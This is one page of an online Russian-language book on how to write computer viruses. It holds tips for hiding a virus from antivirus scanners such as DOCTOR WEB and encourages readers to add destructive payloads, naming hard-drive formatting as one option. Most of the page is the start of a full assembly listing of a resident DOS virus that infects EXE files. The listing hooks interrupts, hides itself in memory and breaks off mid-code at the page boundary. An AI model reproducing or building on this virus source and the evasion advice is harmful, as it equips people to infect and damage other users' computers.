Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 10 11 12 13 14 15 16  17 18 19 20 21 22 23 ... 27


         2.6 Защита от обнаружения вируса в файле

    Защитить вирус от обнаружения в файле намного про-
    ще, чем в памяти.Достаточно только зашифровать ма-
    ску для поиска  EXE - программ ( *.exe ), и  вирус
    обнаружен не будет.Естественно, перед поиском фай-
    ла - жертвы маска должна быть расшифрована,а в за-
    раженном файле присутствовать в зашифрованном  ви-
    де.
    Для решения этой задачи был предложен такой  алго-
    ритм: маска расшифровывается вирусной  копией, на-
    ходящейся в памяти, непосредственно перед  поиском
    EXE-файла,а при записи вирусного кода в файл снова
    шифруется. Вряд-ли DOCTOR WEB станет устанавливать
    резидентный вирус  в память, а потом еще и  прове-
    рять, как он работает. А при простом просмотре или
    даже прохождении  зараженной программы  отладчиком
    можно увидеть только закодированную маску.


              2.7 Несколько слов о вредных
              действиях вирусной программы

    Вирус, как правило, для того и пишется,чтобы кому-
    то навредить или пошутить над пользователями .Поэ-
    тому естественно было бы включить в него какие-ни-
    будь действия,мешающие нормальной работе  операто-
    ров компьютеров .Конечно,здесь существует огромная
    свобода : от  тривиальной блокировки клавиатуры до
    " осыпания " букв с экрана или форматирования вин-
    честера . Многие  вирусы вообще содержат серьезные
    ошибки,  из - за  которых зараженная система может
    перестать работать, поэтому что - нибудь более не-
    приятное придумать непросто .
    Поскольку книга носит учебный харатер, мы не будем
    развивать  " вредительскую " тему, а вместо  этого
    предоставим нашим читателям возможность  творчески
    подойти к задаче.Можете не огорчаться - встроить в
    вирусную  программу  вредное  действие  на порядок
    проще,чем создать эту программу.Учтите только, что
    изготовление вирусов - дело очень неблагодарное, и
    без  должной конспирации способно принести  самому
    " писателю " массу неприятностей.Сами вирусы (осо-
    бенно чужие) - довольно неприятная штука, хотя эта
    тема очень интересна.


        2.8 Полный текст резидентного EXE - вируса

    Как  я уже говорил, эта программа является  просто
    итогом  всех предыдущих и фактически составлена из
    их частей .Поэтому больше объяснять, вероятно, не-
    чего .Последний штрих - приведем полный текст раз-
    работанного нами резидентного EXE - вируса :

    ; _______________________________________________
    ;|                                               |
    ;| EXE TSR virus                                 |
    ;| Especially for my readers                     |
    ;|_______________________________________________|

    prg segment
        assume cs:prg,ds:prg,es:prg,ss:prg
               org 100h

    vir:       db 0ebh                ;9090h - Для
                                      ;резидентной
               db push_len            ;работы .

               pushf
               call cs:rest_code      ;Для надежности
                                      ;восстановим
                                      ;промежуточный
                                      ;обработчик
                                      ;INT 21h ...
               cmp bx,1997h           ;Это проверка
               jne cs:not_our         ;повторной за-
               mov ah,0ffh            ;грузки вируса в
               popf                   ;память ?
               iret                   ;
    not_our:cmp cs:tg_infect - 100h,1 ;Активизировать-
                                      ;ся ?
               je cs:vir_2            ;Да ...
               popf
    jmp dword ptr cs:old_28h - 100h   ;Нет - вызовем
                                      ;старый INT 28h,
                                      ;чтобы не
                                      ;"топить" другие
                                      ;резиденты ...

    vir_2:     db 9ah
    old_28h    dw 0
    old_28h_2  dw 0
               pushf                  ;Сохраним в сте-
                                      ;ке регистры
               push ax
               push bx
               push cx
               push dx
               push si
               push di
               push bp
               push ds
               push es
               jmp cs:infect          ;Перейти к зара-
                                      ;жению файлов...
               push_len equ $-vir - 2

               mov ax,cs              ;Исправим DS для
                                      ;работы
               db 2dh                 ;в зараженном
                                      ;EXE - файле .
    sub_ds     dw 0
               mov ds,ax
               mov ax,ds
               mov es_save,es         ;Сохраним значе-
                                      ;ние ES ,бывшее
                                      ;при загрузке
                                      ;программы ...
               push es

               mov ax,old_ip          ;Восстановим ис-
                                      ;ходные пара-
               mov my_ip,ax           ;метры заголовка
                                      ;зараженного
               mov ax,old_cs          ;файла ...
               mov my_cs,ax
               mov ax,to_16h
               mov my_16h,ax
               mov ax,old_ss
               mov my_ss,ax
               mov ax,old_sp
               mov my_sp,ax
                                      ;Проверим ,есть
                                      ;вирус в па-
               mov bx,1997h           ;мяти ,или еще
               int 28h                ;нет ...

       	       cmp ah,0ffh
      	       jne inst               ;Нет - устанав-
                                      ;ливаем ...

    fresh_input:
               pop es

               mov ax,my_ip           ;Восстановим
                                      ;исходные CS
               mov old_ip,ax          ;и IP ,а также
                                      ;необходимые
               mov ax,my_cs           ;для правильной
                                      ;работы
               mov old_cs,ax          ;значения SS и
                                      ;SP ...
               mov ax,my_16h
               mov to_16h,ax
               mov ax,my_sp
               mov sp,ax

               mov ax,cs              ;Расчитаем точку
                                      ;входа
               sub ax,to_16h          ;EXE - программы
               add my_ss,ax
               mov ss,my_ss
               add ax,old_cs
               mov old_cs,ax
               push ax
               push old_ip            ;Восстановим DS
               mov ax,es
               mov ds,ax
               db 0cbh                ;Машинный код
                                      ;команды возвра-
                                      ;та из дальней
                                      ;процедуры ...

    old_ip     dw 0                   ;
    old_cs     dw 0                   ;

    inst:      push es                ;Найдем первый
                                      ;PSP в
               xor di,di              ;памяти ...
               xor ax,ax

    to_new_seg:inc ax
               mov es,ax
               cmp ax,0ffffh          ;Этот сегмент -
                                      ;последний ?
               jae free_mem
    cmp byte ptr es:[di],4dh          ;Это -
                                      ;MCB - блок ?
	       jne to_new_seg         ;Нет !
    to_test:   mov bx,ax              ;Да !
               add bx,es:[di+3]
               inc bx
               mov es,bx
    cmp byte ptr es:[di],4dh          ;Следующий MCB
                                      ;корректен ?
               je  restore_es         ;Да !
               cmp byte ptr es:[di],5ah
               jne to_new_seg         ;Нет !
    restore_es:mov es,ax
    cmp word ptr es:[di+1],0          ;MCB свободен ?
               je to_new_seg          ;Да !
               mov bx,es
               inc bx
               cmp es:[di+1],bx
               jne to_new_seg
    cmp byte ptr es:[di+10h],0cdh     ;После MCB сле-
                                      ;дует PSP ?
               jne to_new_seg         ;Нет - тогда он
                                      ;нас не
                                      ;интересует ...
               mov first_psp,es       ;Да - найдена
                                      ;нужная нам
               mov cx,es              ;область памяти
               dec es_save
               cmp es_save,cx         ;А может ,мы на-
                                      ;шли свой
                                      ;же PSP ?
               jne add_05h            ;Нет !
               pop es
               jmp fresh_input        ;Да !
    add_05h:   add first_psp,05h

    free_mem:  pop es

               mov ah,4ah             ;Определим объем
                                      ;доступной
                                      ;памяти ...
               mov bx,0ffffh          ;Заведомо невоз-
                                      ;можное
               int 21h                ;значение
                                      ;(0ffffh) !

    ; _______________________________________________
    ;| Найдем свободный MCB - блок ,чтобы можно было |
    ;| записать в него резидентную часть вируса ...  |
    ;|_______________________________________________|

               sub bx,vir_par + 4     ;Оставим вирусу
                                      ;на 4 параграфа
                                      ;больше ,чем
                                      ;он сам занимает
               mov ah,4ah             ;А остальная
                                      ;память
               int 21h                ;будет занята ...
               jnc give_mem

    to_fresh_input:
               jmp fresh_input

    give_mem:  mov ah,48h             ;Попросим DOS
                                      ;отдать сво-
                                      ;бодный блок нам
               mov bx,vir_par + 2     ;Запас в два
                                      ;параграфа ...
               int 21h
               jc to_fresh_input

    ; _______________________________________________
    ;|Теперь свободный блок памяти найден            |
    ;|( сегментный адрес в AX ) ,и нужно             |
    ;|записать в него код вируса ...                 |
    ;|_______________________________________________|

               xor di,di              ;
               mov bx,ax              ;
               dec bx                 ;
               mov word ptr es:[2],bx ;Корректируем
                                      ;PSP ...
               mov es,bx              ;Делаем вирус
               mov bx,0070h           ;" невидимым "
               mov es:[di+1],bx       ;в памяти ...

               mov es,di              ;Получаем векто-
                                      ;ра прерываний
               cli
               mov di,084h            ;Int 21h ...
               mov bx,es:[di]
               mov old_21h,bx
               mov bx,es:[di+2]
               mov old_21h_2,bx

               mov di,0a0h            ;Int 28h ...
               mov bx,es:[di]
               mov old_28h,bx
               mov bx,es:[di+2]
               mov old_28h_2,bx
               sti

               mov word ptr vir,9090h ;Подготавливаем
                                      ;вирус
               mov tg_infect,0        ;к резидентной
                                      ;работе ...

               mov our_21h_cs,ax      ;Эти значения
                                      ;потребуются
               mov bx,old_21h         ;промежуточному
Предыдущая страница Следующая страница
1 ... 10 11 12 13 14 15 16  17 18 19 20 21 22 23 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама